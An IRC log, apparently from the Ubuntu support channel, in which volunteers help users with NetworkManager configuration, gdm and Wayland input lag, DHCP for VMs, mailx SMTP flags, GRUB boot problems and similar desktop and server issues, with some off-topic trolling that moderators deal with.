[13:54] <ask-ygU5AP56> ppf, weird; same thing in unity; looks then that the device doesn't get picked up by networkmanager
[13:54] <ask-ygU5AP56> ducasse, might be on to something
[13:55] <ppf> ask-ygU5AP56: NM configs are in /etc/NetworkManager/ as well as /usr/lib/NetworkManager/
[13:56] <ask-ygU5AP56> well, it looks like networkmanager doesn't configure wired connections at all
[13:56] <ppf> nm-applet is just the UI for NM, the graphical shell doesn't matter really
[13:56] <ask-ygU5AP56> worked fine on 16.04
[13:56] <Bugson_> dbsyd, I was playing with it for 2 days, today I tried debian and You can imagine my frustration :/
[13:56] <ppf> ask-ygU5AP56: why do you think that?
[13:56] <ask-ygU5AP56> ppf, cuz I see no wired connection settings?
[13:56] <ask-ygU5AP56> ppf, and it's a wired connection that doesn't come up
[13:56] <ask-ygU5AP56> in nm's settings
[13:56] <ppf> oaky
[13:57] <ppf> can you please check the NM config files then?
[13:57] <ask-ygU5AP56> sure
[13:57] <ask-ygU5AP56> mind you, this is a clear install
[13:57] <ppf> /usr/lib/NetworkManager/conf.d and /etc/NetworkManager/conf.d
[13:57] <ask-ygU5AP56> from mini.iso; then apt install ubuntu-desktop
[13:57] <bobthebuilder20> Hello, currently running a Ubuntu 16.04 web server with proxy setup. Getting an proxy error HTTP: Failed to make connection to backend: localhost. Any suggestion in resolving this issue?
[13:57] <ask-ygU5AP56> default-wifi-powersave-on.conf in /etc/
[13:57] <bobthebuilder20> webserver is apache
[13:58] <ask-ygU5AP56> then unmanaged-devices=*,except:type:wifi,except:type:wwan
[13:58] <ask-ygU5AP56> err
[13:58] <ask-ygU5AP56> cat  /usr/lib/NetworkManager/conf.d/10-globally-managed-devices.conf
[13:58] <ask-ygU5AP56> [keyfile]
[13:58] <ask-ygU5AP56> unmanaged-devices=*,except:type:wifi,except:type:wwan
[13:58] <ask-ygU5AP56> ppf, maybe this is what's causing issues?
[13:58] <ask-ygU5AP56> perhaps I oughta add except:type:lan ?
[13:58] <leftyfb> bobthebuilder20: try #ubuntu-server
[13:59] <ppf> ask-ygU5AP56: or remove the file
[13:59] <MibixFox> anyone know why I would get this when  using auto login with cinnamon DE https://imgur.com/a/fSY6xme
[13:59] <ask-ygU5AP56> ppf, it could be the mini.iso server heritage, no?
[13:59] <MibixFox> boots fine if i use the login screen
[13:59] <ppf> (or comment out the contents)
[13:59] <MibixFox> but would like to auto login if possible so everything starts
[14:00] <ppf> ask-ygU5AP56: not sure
[14:00] <ask-ygU5AP56> ppf, well. this is a fresh install. is that a bug then?
[14:00] <bobthebuilder20> Leftyfb: running ubuntu server
[14:00] <bobthebuilder20> Leftyfb, sorry didn't see the #
[14:00] <dbsyd> Ok, I can get it to boot using: https://paste.ubuntu.com/p/j89ZK9Jgdx/ but running update-grub in the booted system doesn't fix grub...
[14:01] <dbsyd> Bugson_: Does it work for you too?
[14:01] <ppf> ask-ygU5AP56: not sure. does it help though?
[14:01] <ask-ygU5AP56> ppf, I think it might; will take a look at it
[14:01] <ask-ygU5AP56> I want to read up on it first
[14:04] <ask-ygU5AP56> ppf, https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1638842
[14:04] <ask-ygU5AP56> ppf, it's a netplan issue; there's no glue to inform networkmanager to manage all devices
[14:04] <ask-ygU5AP56> no override in /etc/Networkmanager
[14:05] <Bugson_> dbsyd: in debian it does work without glitch
[14:05] <Bugson_> in ubuntu server no go
[14:05] <ppf> yeah that makes more sense. i was wondering why i didn't have this issue ;)
[14:12] <qwebirc2570> hello
[14:14] <qwebirc2570> anyone who can give advice about connecting thunderbird (52.8) with an gmail account (just installed ubuntu 18.04) and i cant connect them.
[14:16] <pragmaticenigma> qwebirc2570: If you have 2 factor authentication enabled for g-mail you may need to generate an application specific password. Otherwise, the new account setup should be working for you.
[14:16] <xav1us> How do i install openssl 1.1 dev libs on trusty tahr? Does anyone know? And how to make them took precedence compared to 1.0 libs, so that 1.1 is considered default in system?
[14:17] <qwebirc2570> pragmaticenigma: i tryed to enable the 2fa, i also allowed for less secure apps, no luck
[14:18] <pragmaticenigma> xav1us: I don't believe openssl 1.1 is available in the package repos for Trusty, you may have to download and compile from source. Unfortunately, source compilation is outside of the scope of this channel.
[14:19] <xav1us> pragmaticenigma: I see, ty.
[14:19] <xav1us> that's bad :(
[14:19] <xav1us> I mean, that trusty doesn't have 1.1 in any repos
[14:20] <uebera||> Hi. Which setting controls whether "update-grub" will produce linux/initrd or linuxefi/initrdefi entries? (The machine in question requires the latter.)
[14:20] <pragmaticenigma> xav1us: the repos only contain the software that is supported for the release. That common amoung all distro's
[14:20] <pragmaticenigma> qwebirc2570: Take a look at this article, follow the steps and see if that works for you. https://sites.google.com/site/easylinuxtipsproject/16
[14:21] <genii> !info openssl trusty-backports
[14:21] <genii> Hm
[14:22] <YUKON> hi
[14:22] <YUKON> مرحبا
[14:22] <pragmaticenigma> YUKON: Hello, Do you have an Ubuntu related support question?
[14:22] <qwebirc2570> pragmaticenigma: i tryed that link, thats why i turned on lesssecureapps
[14:23] <bobthebuilder20_> Hello, currently running a Ubuntu 16.04 web server with proxy setup. Getting an proxy error HTTP: Failed to make connection to backend: localhost. Any suggestion in resolving this?
[14:23] <jellycode> Surprised to find that on a ubuntu 14.04 docker image, I can't do apt-get install subversion.  Did it maybe have a different name in the past?
[14:24] <uebera||> bobthebuilder20_: Did you verify that the backend works if you manually bypass the proxy?
[14:24] <pragmaticenigma> jellycode: You may need to contact the maintainer of the docker image. It is possible they have set it up to use custom PPAs
[14:24] <jellycode> apt-get update fixed problem, nvm, feel silly
[14:25] <Guest50551> KDK
[14:25] <pragmaticenigma> bobthebuilder20_: Try changing the proxy address from localhost to 127.0.0.1
[14:26] <Guest50551> Hi
[14:26] <apteryx> hello, do I need to manually configure /etc/network/interfaces for DHCP when using Ubuntu Server 18.04, or is this the default behavior?
[14:26] <TrickkyTyper> Good morning everyone
[14:26] <TrickkyTyper> apteryx, for what?
[14:27] <apteryx> I'm booting two VMs from images generated in the same way, and they get the same IP address from the DHCP server...
[14:27] <TrickkyTyper> ah see im not an expert with VMs.
[14:27] <apteryx> If I manually issue "dhclient ens3", they get a proper (different) IP.
[14:27] <pragmaticenigma> apteryx: Do the VMs have unique MAC addresses?
[14:27] <bobthebuilder20_> Pragamticenigma: Tested with changing address from proxy address from localhost to 127.0.0.1. Same result.
[14:27] <apteryx> pragmaticenigma: yes I confirm that their MACs are unique (different)
[14:28] <apteryx> They are started using virt-install, which takes care of MAC randomization.
[14:28] <pragmaticenigma> bobthebuilder20_: I would investigate to make sure you can connect without the proxy... then make sure your proxy is actually up and running
[14:28] <bobthebuilder20_> Uebera| |: Haven't tested if backed works
[14:28] <pragmaticenigma> apteryx: Are they started at the exact same moment?
[14:29] <bobthebuilder20_> some google forum results were mentioning httpd_can_network_connect
[14:29] <bobthebuilder20_> but those were for centos installs
[14:29] <raub> So I have a network device which ip a identifies as enx3c18a0091ec5, which seems like enx+MAC. How do I use it?
[14:30] <apteryx> pragmaticenigma: nope, I start them sequencially, although I'd expect DHCP to be resistant to race conditions (isn't that one of strength of DHCP?)
[14:30] <bobthebuilder20_> and few ubuntu forms were saying to install policycoreutils
[14:30] <raub> I want to use it as the port dnsmasq listens on and it does not like it
[14:30] <uebera||> apteryx: By default, 18.04 uses netplan instead of ifupdown. Did you look at /etc/network/interfaces?
[14:32] <pragmaticenigma> apteryx: Maybe try a 5 second delay?
[14:34] <Okee> Can someone help me find Libreoffice on Pop!_OS with gnome?  Pop is Ubuntu with a label.  I have installed libreoffice-common, and libreoffice-gnome.  Both appear to be installed repositories but they are not displayingin the gnome graphical menu.  The only thing that shows up is libreoffice base (database).
[14:34] <pragmaticenigma> Okee: POP!_OS is not supported as it is not an official Ubuntu flavor. You will need to contact System76 for support
[14:34] <Okee> I just got this computer and after todays work deadline plan on getting rid of gnome and Ubuntu, and go back to my preferred work area in Debian stable.
[14:35] <Okee> System76 channel is not active on here.  My understanding is that pop is ubuntu.
[14:35] <genii> Contact System76 support for help with Pop! OS
[14:36] <apteryx> uebera||: oh, interesting info. Indeed the default /etc/network/interfaces now refers to /etc/netplan for the current configuration.
[14:36] <pragmaticenigma> Okee: POP!_OS has it start in Ubuntu, but it is not Ubuntu. It is not maintained by Canonical or the Ubuntu Community. We do not have the documentation or the understanding of the differences between the two OS's. You need to contact System 76
[14:36] <apteryx> uebera||: but /etc/netplan/01-netcfg.yaml (default) seems like it should support dhcp4 on ens3, which I what I want.
[14:38] <genii> Okee: If the #system76 channel is not useful, your next best bet is probably the main ##linux one
[14:38] <uebera||> apteryx: I was thinking that the .yaml file in question could contain an explicit MAC address ("override"). This would have explained your problem.
[14:38] <pragmaticenigma> Okee: System 76 does not have an official IRC channel. They have a support page at https://support.system76.com/ with how to contact them
[14:39] <pragmaticenigma> Okee: Considering System 76 offers lifetime support with the purchase of their products, it would be a good idea to contact them directly
[14:40] <Trumapx> Lifetime as long as their in business. They are a fly by night outfit
[14:40] <pragmaticenigma> Trumapx: Do you have an Ubuntu related support question? For all other topics, please visit the #ubuntu-offtopic channel
[14:41] <apteryx> uebera||: I've got a tcpdump of the DHCP protocol, it looks like this: http://paste.debian.net/1033109/
[14:41] <BluesKaj> Trumapx, you're mistaken, system 76 has been around for a long time and they're doing quite well
[14:41] <apteryx> pragmaticenigma: delays won't help, I can boot the 2nd VM hours later and it'll still get the same IP :/
[14:41] <qwebirc2570> pragmaticenigma: do you have another suggestion, than the above mentioned link
[14:42] <uebera||> apteryx: Have you looked at the DHCP server? Both machines are using the same hostname, after all.
[14:42] <pragmaticenigma> qwebirc2570: I do not, if the given suggestion is not working, then there is an issue with your Gmail setup or you are not following the directions exactly as they are presented.
[14:42] <ardini> i'm using ubuntu mate on my raspberry, but firefox browser is not working.. is always crashing down, any hints?
[14:43] <apteryx> uebera||: yes, they are. My understanding is that DHCP servers care not about hostnames but about MACs
[14:43] <pragmaticenigma> ardini: Firefox is too heavy of an application for the raspberry pi computer. You need to use a lighter weight web browser
[14:43] <qwebirc2570> pragmaticenigma: you are probably right, ill have to try agin.. thx for your suggestions.
[14:43] <ardini> eg?
[14:43] <apteryx> I will take a look at the DHCP server config nontheless
[14:43] <uebera||> apteryx: Depending on the software, you can bind addresses to hostnames.
[14:43] <pragmaticenigma> ardini: I believe Midori is based around the core of Firefox but is much easier on system resources
[14:44] <ardini> pragmaticenigma: do u know one?
[14:44] <ardini> ok great thank you
[14:44] <ardini> can i download it with sudo apt-get install midori?
[14:46] <pragmaticenigma> ardini: I do not see it
[14:46] <genii> Trumapx: If you persist in PMing nasties to users, next time will be a ban
[14:48] <pragmaticenigma> ardini: It might be available in the Ubuntu MATE repos... I'm not seeing it in Ubuntu main repos
[14:48] <mukhtaar> hi
[14:52] <pragmaticenigma> apteryx: what are you using for VM manager?
[14:53] <Stochastix_>  Does mailx still have a -S switch where you can add things that would normally go in the mail.rc file?
[14:54] <Stochastix_> I see it all over in examples, but I get invalid option  'S'
[14:56] <Stochastix_> I want to be able to send an email, but not have to rely on a file like mail.rc.
[14:56] <Stochastix_> I dont see another way to set the stmp sever without the -S
[14:57] <pragmaticenigma> Stochastix_: -S is not for the SMTP server, it's for overriding "from, to, subject" headers
[14:58] <Stochastix_> You can use it for anything that would otherwise be in the mail.rc file
[14:58] <Stochastix_> as far as things that can be "set"
[14:58] <Stochastix_> including smtp=
[14:58] <Stochastix_> but it seems to not be an option in the ubuntu mailx from bsd-mailx
[14:59] <Stochastix_> Is there another way to do this i wonder? other than adding it to mail.rc?
[14:59] <pragmaticenigma> Stochastix_: Everything that I'm seeing in the documentation is stating that if the SMTP is defined in the mail.rc file, it takes precedence
[15:00] <Stochastix_> I know, but I dont want to create the mail.rc. I want this to be somehow portable as a oneliner
[15:00] <genii> Stochastix_: With the standard bsd mailutils you can just use --set=something=value instead of -S
[15:01] <Stochastix_> ohhh,  --set  :)
[15:01] <bacarrdy_> Stochastix_: echo "email" | mailx -s "subject" -S smtp-use-starttls -S nss-config-dir=/etc/pki/nssdb/ -S ssl-verify=ignore  -S smtp=smtp://1.1.1.1:25 -S smtp-auth=login -S smtp-auth-user=Login -S smtp-auth-password=Password -S from="Who-sending <FROM>" someone@someone.com
[15:01] <Stochastix_> Ill try that
[15:02] <bacarrdy_> Stochastix_: echo "email" | mailx -s "subject" -S smtp-use-starttls -S nss-config-dir=/etc/pki/nssdb/ -S ssl-verify=ignore  -S smtp=smtp://1.1.1.1:25 -S smtp-auth=login -S smtp-auth-user=USERNAME -S smtp-auth-password=PASSWORD -S from="Who-sending <FROM>" someone@someone.com
[15:03] <bacarrdy_> you need to change only smtp server ip:port, USERNAME, PASSWORD, from section, subject and message
[15:03] <jrm> Hi.  We just did a fresh install of 18.04.  An issue we encountered is that the mouse and keyboard are quite slow on the login screen.  However, once we manage to login, both are fine.  Ideas?
[15:06] <qwebirc24548> Hey, I downloaded an Ubuntu Base (http://cdimage.ubuntu.com/ubuntu-base/) rootfs tar.gz and extracted it to my disk, how do I install the latest kernel via apt-get?
[15:06] <pragmaticenigma> jrm: While on the login screen, the computer is still starting services and background tasks, it might be by the time you get to the desktop, post login, that everything is done. If you wait a few minutes after seeing the login screen, does it become more responsive. Also, are you using Ubuntu or one of the other flavors?
[15:07] <pragmaticenigma> jrm: Lastly, since it is a fresh install, See if after updating the system to the latest software packages helps improve
[15:07] <qwebirc24548> Like if anyone knows how to just get the latest kernel and create an initramfs that would be great. I know how to add it to grub already.
[15:08] <jrm> pragmaticenigma: No, it remains extremely laggy.  It's very difficult to log in.  This is Ubuntu downloaded from releases.ubuntu.com and we already did apt update; apt upgrade.
[15:12] <bacarrdy_> jrm: the only one way to figure out whats wrong is to check logs from power on up to you loged on. (if your screen is lagging you can try to shutdown it with ctrl+alt+f6)
[15:12] <bacarrdy_> later you will be able to turn it on with ctrl+alt+f1
[15:19] <dbsyd> Bugson_: installing grub-efi-amd64 fixed it for me - give it a shot
[15:21] <jrm> bacarrdy_: K.  Any suggestions for which logs to look at?  I see some interesting things in /var/log/auth.log: Failed to activate service 'org.bluez': timed out (service_start_timeout=25000ms), which a quick search tells me might be related to something bluetooth?
[15:22] <jrm> This is a workstation, so we don't need bluetooth.
[15:22] <jluc> http://puppylinux.com is still broken
[15:23] <pragmaticenigma> jluc: This is a support channel for Ubuntu and it's official flavors. Puppy Linux is not supported here and we have no ability to contact them
[15:25] <qwebirc60388> hello i need help i want factory reset my ubuntu to start i mean remove all application i installed and changed program same rvm and classminu
[15:25] <oerheks> qwebirc60388, there is no factory reset other than ... yes, reinstall
[15:26] <qwebirc60388> @oeheks i reinstall my ubuntu but i have my old app :(
[15:27] <pragmaticenigma> qwebirc60388: what app are you referring to?
[15:27] <oerheks> qwebirc60388, what do you mean with "  but i have my old app  " ?
[15:27] <qwebirc60388> same i install classminu and rvm and katoolin i want delete all
[15:28] <bacarrdy_> jrm: may be your mouse and keyboard is bluetooth :) ?
[15:28] <qwebirc60388> but when i reinstall my ubuntu i don't know why i don't lose my files and application
[15:28] <jrm> bacarrdy_: No. They are usb.
[15:29] <oerheks> qwebirc60388, choose install , with complete wipe, not reinstall
[15:29] <oerheks> voila
[15:30] <oerheks> "you will loose all your data" then do a dance, and press yes
[15:30] <qwebirc60388> oh :( i don't understand my english not perfect can you help me send some commands for reset my os for first time ?
[15:30] <oerheks> no
[15:31] <bacarrdy_> try disable it then, quick search on google tells that you can do it in file /etc/bluetooth/main.conf by changing InitiallyPowered true to false
[15:31] <bacarrdy_> jrm: try disable it then, quick search on google tells that you can do it in file /etc/bluetooth/main.conf by changing InitiallyPowered true to false
[15:31] <qwebirc60388> what is voila
[15:31] <qwebirc60388> now what i can to do ?
[15:32] <bacarrdy_> jrm: may be you have usb3 ports on your pc?
[15:33] <bacarrdy_> jrm: if you have usb2 you can try to put your mouse and keyboard to usb2 to check or there is no problems with usb3
[15:33] <rud0lf> bacarrdy_: InitiallyPowered is called AutoEnable in newer versions
[15:34] <bacarrdy_> jrm: and if this will not help you need to dig more logs :) probably starting from /var/log/syslog
[15:34] <qwebirc60388> please someone help me :(
[15:34] <bacarrdy_> rud0lf: may be :) i never edited this file
[15:35] <lotuspsychje> qwebirc60388: crying for help isnt gonna give real help
[15:35] <rud0lf> for ubuntu 17.10 and 18.04 it's AutoEnable
[15:35] <lotuspsychje> qwebirc60388: if nobody answers, please have a little patience and re-ask a bit later
[15:35] <qwebirc60388> good hahahaha right
[15:36] <qwebirc60388> i want delete all my data and application i want reset my ubuntu :)
[15:36] <lotuspsychje> qwebirc60388: clean install?
[15:36] <qwebirc60388> what ?
[15:36] <oerheks> qwebirc60388, i understand you want a quick fix, there is none, just insert the ubuntu iso and reinstall
[15:37] <hggdh> qwebirc60388: there is no option to "reset to factory" for Ubuntu
[15:37] <qwebirc60388> i don't have ubuntu iso because i don't have usb and dvd
[15:37] <hggdh> qwebirc60388: the only way to do so is by a full, clean, re-install
[15:37] <royal_screwup21> I'm running a programs that's returning a deluge of errors. I want to find a specific keyword in the traceback. How do I accomplish this?
[15:37] <qwebirc60388> thanks :)
[15:38] <lotuspsychje> !grep | royal_screwup21
[15:38] <lotuspsychje> royal_screwup21: another usefull tool i use is colortail, to more easy find your logs in colors
[15:39] <lotuspsychje> royal_screwup21: if the logs are capable of syntax highlight that is
[15:39] <bacarrdy_> qwebirc60388: why you want to reset? if you have problems with GUI you can try reset configs with dconf reset -f / if you have with installed packages you can recheck what last packages was installed and try remove them: grep " install " /var/log/dpkg.log
[15:40] <lotuspsychje> royal_screwup21: another thing you can try, is to start the application from a terminal, sometimes it spits out usefull errors too
[15:41] <qwebirc60388> @Bacardy_ yes i installed katoolin and classminu and rvm and when i type sudo su in terminal it's give me some error such no file and i want delete all application i installed
[15:42] <qwebirc60388> but i don't know how i can delete :D
[15:42] <royal_screwup21> lotuspsychje: thanks! I guess the easiest thing to do is just: python3 foo.py | grep "keyword"
[15:42] <bacarrdy_> qwebirc60388: :) just try to remove packages or you can try reinstall sudo
[15:42] <bacarrdy_> qwebirc60388: to oremove package apt-get --purge remove PACKAGE-NAME
[15:42] <oerheks> katoolin .. kali tools, those mess up your ubuntu, reinstall
[15:42] <hggdh> qwebirc60388: katoolin is a Kali program, not Ubuntu
[15:42] <hggdh> heh
[15:43] <oerheks> so end of support, you know what to do
[15:43] <oerheks> buy an usb stick or burn a dvd
[15:43] <qwebirc60388> yes i know it's kali tools and thanks for your support and help <3
[15:44] <royal_screwup21> lotuspsychje: actually, well, I was hoping for a utility that would display the output the way man pages are display. So then, all I'd have to do is just hit "/<keyword>" to find what I'm looking for
[15:44] <lotuspsychje> !rootirc | Guest51962
[15:45] <qwebirc60388> thanks <3
[15:45] <lotuspsychje> royal_screwup21: can you share with us your exact end goal, perhaps others can think-along?
[15:46] <Guest51962> quit
[15:46] <Guest51962> quit
[15:50] <jrm> bacarrdy_: Will do.  Although, syslog is quite noisy.  It's has around 90,000 lines from today. https://ftfl.ca/misc/uthyr_ubuntu_18.04_syslog
[15:52] <apteryx> pragmaticenigma: libvirt
[15:52] <apteryx> uebera||: OK, I'm now looking at the config of the DHCP server, it uses Dnsmasq.
[15:53] <pragmaticenigma> apteryx: Are you using the Virtual Networks options or "shared physical device" mode?
[15:54] <apteryx> pragmaticenigma: I'm bridging to a VLAN on the host, which has the Dnsmasq DHCP server.
[15:55] <jrm> progress.  If we log in with "Ubuntu on Wayland" then the mouse and keyboad remain unusable.  So, it seems we need to either figure out how to get gdm to use Xorg, or solved whatever Wayland issue there is.
[15:56] <pragmaticenigma> apteryx: The host machine is connected hardwired to the network (ethernet)
[15:56] <apteryx> (using the virt-install arg:  --network bridge=VLAN220,model=virtio)
[15:56] <apteryx> pragmaticenigma: I believe so.
[15:56] <pragmaticenigma> jrm: Did you intentionally install with Wayland enabled?
[15:56] <jrm> pragmaticenigma: No, we just chose defaults.
[15:57] <pragmaticenigma> jrm: That doesn't help, as I don't know what the default you were presented
[15:57] <jrm> pragmaticenigma: We weren't asked anything about wayland/xorg during the install.
[15:57] <pragmaticenigma> jrm: Also, wayland is not installed by default. Which is strange that you would have it as an option
[15:58] <bittin_> good man Mozilla inviting me to a meeting i am not allowed to watch :D
[15:59] <lotuspsychje> !ot | bittin_
[15:59] <bittin_> lotuspsychje: sorry
[16:01] <pragmaticenigma> jrm: You could try turning off wayland support in the /etc/gdm3/custom.conf file. Under [daemon] setting WaylandEnable=false
[16:02] <pragmaticenigma> Seeing as trying a Wayland session makes the keyboard/mouse inoperable, perhaps some Wayland libraries are being loaded in the login greeter
[16:08] <lotuspsychje> hey ioria
[16:08] <ioria> lotuspsychje, hey..
[16:09] <lotuspsychje> ioria: check invite, we need you
[16:09] <ioria> ok
[16:10] <jrm> pragmaticenigma: gdm loading something Wayland seems plausible.  I am trying your suggestion about WaylandEnable=false in /etc/gdm3/custom.conf.
[16:10] <jrm> pragmaticenigma: Yup, that works.  Thank you.
[16:13] <pragmaticenigma> jrm: It was a shot in the dark, glad it helpped. I stumbled into it from an issue I was reseraching for x11vnc
[16:16] <jrm> It's strange that gdm would use Wayland by default, but Gnome would use X by default.  Wayland seemed like a suspicious candidate when I tested the Ubuntu on Wayland option from gdm screen, then the mouse and keyboard continued to lag in Gnome like they did in gdm.  Anyway, thank you again.
[16:17] <pragmaticenigma> jrm: I don't believe it's using Wayland, I believe it's loading wayland libraries for supporting other features of the greeter.
[16:17] <pragmaticenigma> jrm: Namely, it's probably loading the libraries in preperation for a user selecting the Ubuntu on Wayland option
[16:19] <jrm> Ah, I see.  That's makes more sense.
[16:28] <neoncontrails> Is there a graphical tool to show the current PPA repositories (ideally too their status)?
[16:30] <lotuspsychje> neoncontrails: wich ubuntu version are you on?
[16:31] <neoncontrails> lotuspsychje: 17.10. I just switched up my search query and found what I was looking for: "Software Sources"!
[16:31] <lotuspsychje> neoncontrails: https://linuxconfig.org/how-to-list-and-remove-ppa-repository-on-ubuntu-18-04-bionic-beaver-linux
[16:33] <pragmaticenigma> neoncontrails: If you have Synaptic package manager installed, you can also find them there.
[16:38] <doug16k> in this dmesg message, what does 4.34 mean? -> <0>[37812.737217] do_IRQ: 4.34 No irq handler for vector
[16:40] <doug16k> I get 4.34, 4.36, 1.34, 0.33, 6.34, 7.33, 5.37, etc
[16:40] <guest_> systemwide low frames in ubuntu 18.04, hybrid graphics , modset i915 . 200 frames in 5.0 seconds = 39.996 FPS
[16:40] <doug16k> this never happened until 18.04
[16:40] <lotuspsychje> doug16k: you have suspend problems?
[16:41] <doug16k> never suspend, it's a desktop. I keep it on 24x7
[16:41] <doug16k> ryzen 2700x, B350 chipset
[16:42] <doug16k> I get a flood of those "no irq for vector". after a couple of days dmesg overflows and all it has is the max number of messages about irq vector
[16:42] <doug16k> several messages per minute
[16:43] <lotuspsychje> !bug | doug16k if you find a bug
[16:43] <rosco_y> can I write a bash script that moves to another directory, and when the script exits, the calling shell is in that directory?
[16:43] <TheTrobz> hello
[16:44] <TheTrobz> someone there
[16:44] <rosco_y> hi TheTrobz
[16:44] <lotuspsychje> !ask | TheTrobz
[16:44] <TheTrobz> i need help
[16:44] <JimBuntu> TheTrobz, I don't think so, but you can ask in #bash and you might get better answers
[16:44] <doug16k> rosco_y, you can source a script that changes directory. use `. somescript` (without `) to run a script in the current shell instead of spawning a separate shell
[16:45] <lotuspsychje> doug16k: when you file the new bug, try also another kernel to test on, help yourself & the community
[16:45] <rosco_y> Thanks TheTrobz -- much appreciated!
[16:47] <doug16k> lotuspsychje, so, <package> would be the kernel package I am using? such as linux-image-4.15.0-26-generic ?
[16:48] <lotuspsychje> doug16k: yeah, but i think you can file the bug against linux-image too
[16:48] <doug16k> ok thanks, I'll try that
[16:48] <lotuspsychje> doug16k: as long as you describe the whole story in your details
[16:48] <HaMsTeRs> anyone know why my login screen stick with 640x480 resolution?  after logged in, the resolution return to normal.
[16:48] <HaMsTeRs> is there any way to fix it?
[16:49] <guest_> systemwide low frames in ubuntu 18.04, hybrid graphics , modset i915 . 200 frames in 5.0 seconds = 39.996 FPS
[16:49] <lotuspsychje> HaMsTeRs: details matter mate, ubuntu version? graphics card? clean install?
[16:49] <TheTrobz> < HaMsTeRs> maybe reinstall to fixed
[16:50] <HaMsTeRs> no
[16:50] <TheTrobz> why?
[16:50] <lotuspsychje> !behelpful | TheTrobz
[16:50] <HaMsTeRs> i reinstalled 8 times.  happens everytime
[16:50] <TheTrobz> u can search on www.google.com
[16:50] <lotuspsychje> TheTrobz: please dont suggest google to users neither
[16:51] <lotuspsychje> guest_: what kind of graphics card chipset?
[16:51] <TheTrobz> < lotuspsychje> no one can answer it
[16:52] <TheTrobz> that's just a suggestion
[16:52] <guest_> lotuspsychje: intel HD 520 and amd r5 m430
[16:52] <lotuspsychje> TheTrobz: even then, its not helpful to forward to internet... patience is golden, other volunteers can also help
[16:53] <multifractal> How come I can only connect to the internet as long as my NordVPN is connected? Otherwise I juse see "no internet connection" errors in all programs, chrome, firefox, smuxi irc, etc.
[16:53] <lotuspsychje> guest_: wich driver is active? sudo lshw -C video and check driver= at bottom?
[16:53] <RoBz> TheTrobz: you should also change your nick kthx
[16:54] <TheTrobz> no
[16:55] <lotuspsychje> !amd | guest_
[16:55] <TheTrobz> welcome to depok
[16:55] <TheTrobz> p
[16:55] <TheTrobz> p
[16:55] <TheTrobz> pp
[16:55] <TheTrobz> p
[16:55] <TheTrobz> p
[16:56] <guest_> lotuspsychje: showing 2 drivers https://paste.ubuntu.com/p/XWvcqx98dg/
[16:56] <RoBz> niiiice
[16:56] <lotuspsychje> guest_: ok that looks good mate, perhaps have also a look in your syslog, maybe radeon troubles?
[16:57] <lotuspsychje> guest_: was this clean install 18.04?
[16:57] <guest_> lotuspsychje: it is possible to use intel only ? in about it show intel card
[16:57] <guest_> lotuspsychje: yes
[16:58] <guest_> lotuspsychje: i am using GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i915.modeset=1"
[16:59] <khe> i've got a usb, which i want to clone. i tried dd, dd gives no errors, but produces a 80 mb .iso. the usb contains much more data. are there some hidden partitions or something? i did dd if=abc of=abc.iso.
[17:00] <khe> basically i want a 1 to 1 copy of the usb over to my hdd.
[17:01] <khe> and then put it onto a new usb.
[17:01] <JimBuntu> khe, can you paste the output from fdisk -l /path/to/device ?
[17:01] <JimBuntu> !paste | khe
[17:01] <MysticReverie> khe, I used acronis on windows t ocopy my 64 gb ubuntu usb os on to a 250gb ssd
[17:01] <MysticReverie> It worked, but for some reason the boot time wa sslow, but the system seemed to work ok
[17:02] <MysticReverie> Now I have a fresh install on SSD tho
[17:03] <pjs> Hey all. I have a brand new laptop, Lenovo (thinkpad) X1 Carbon 6th gen, fresh install of Ubuntu, installed fine, but upon boot it gives me a grub shell. I have to manually set the prefix, root, insmod linux & normal, then issue 'normal' command to get the grub loader. I've tried boot-repair, grub-update, install-grub, I've wiped the partitions, reinstalled 3x, same thing. Can anyone help?
[17:03] <pjs> Here is my debug info: http://paste.ubuntu.com/p/3fHXHYzpQP/
[17:03] <pjs> note, this is NOT dual boot situation.
[17:04] <pjs> Just Ubuntu installed
[17:05] <khe> JimBuntu: https://paste.ubuntu.com/p/Q5zYFgXrpw/
[17:06] <khe> JimBuntu: it contains a lot more data, 4-5 gbs, but i am unable to see it.
[17:06] <HaMsTeRs> Please anyone
[17:06] <HaMsTeRs> the login thing is quite annoying
[17:07] <JimBuntu> pjs /dev/sr0 ? Are you certain that's the USB drive?
[17:08] <pjs> JimBuntu: Hrm, not sure what you mean. I haven't personally (manually) done anything with /dev/sr0
[17:09] <JimBuntu> pjs, check lsblk or 'sudo fdisk -l' to see if you have another device that might be the USB drive
[17:10] <pjs> JimBuntu: I think you mean to reference khe, not me :)
[17:10] <ask-ygU5AP56> ok
[17:10] <TheTrobz> pjs: apansii paaan
[17:10] <TheTrobz> gaya apansi tong
[17:10] <ask-ygU5AP56> so here's another issue; application like nicotine, a python app, I fail to see it in the Unity menu
[17:10] <TheTrobz> sok sok an bahasa inggris lu
[17:10] <ask-ygU5AP56> 18.04 64bit
[17:10] <ask-ygU5AP56> fresh install
[17:11] <JimBuntu> sorry, I did man khe
[17:11] <ask-ygU5AP56> + ubuntu-unity-desktop
[17:11] <TheTrobz> woy
[17:11] <neoncontrails> Is there a graphical tool to show the current PPA repositories (ideally too their status)?ls
[17:11] <TheTrobz> mabar dota yok
[17:11] <TheTrobz> add nick gua nih
[17:11] <TheTrobz> Lyy23_
[17:11] <TheTrobz> gc
[17:11] <pjs> jesus is there an op here to kb this guy?
[17:11] <leftyfb> TheTrobz: please stop
[17:12] <TheTrobz> leftyfb: stop apannsii?orang tmpat chat
[17:12] <TheTrobz> aneh lu ah
[17:12] <leftyfb> !op | TheTrobz
[17:12] <ask-ygU5AP56> neoncontrails, software & updates from system settings
[17:12] <TheTrobz> ubottu: gausah nge gas lu!
[17:13] <RoBz> TheTrobz: fuck off man
[17:13] <leftyfb> TheTrobz: As you've been told already, this is an Ubuntu support channel. Spam/trolling is offtopic.
[17:13] <libaofeng> ii
[17:13] <libaofeng> kj
[17:13] <Randolf> How can I rename a USB memory stick?
[17:13] <ask-ygU5AP56> neoncontrails, unless you got the new version w/ gnome, but it's somewhere there I reckon.
[17:13] <Randolf> I want to change its lable.
[17:13] <Randolf> label.
[17:13] <tonyyarusso> TheTrobz: This is a support channel only - I'm not sure what you're doing, but it's not support.
[17:13] <TheTrobz> ubottu emang lu goblok
[17:13] <leftyfb> tonyyarusso: they've been told multiple times
[17:13] <TheTrobz> iya anjing
[17:14] <Randolf> When I try to rename it, I get the message that it can't be renamed.
[17:14] <Randolf> What I mean is that the "Rename" option is greyed out when I right-click on it in the file manager.
[17:14] <guest_> systemwide low frames in ubuntu 18.04, hybrid graphics , modset i915 . 200 frames in 5.0 seconds = 39.996 FPS
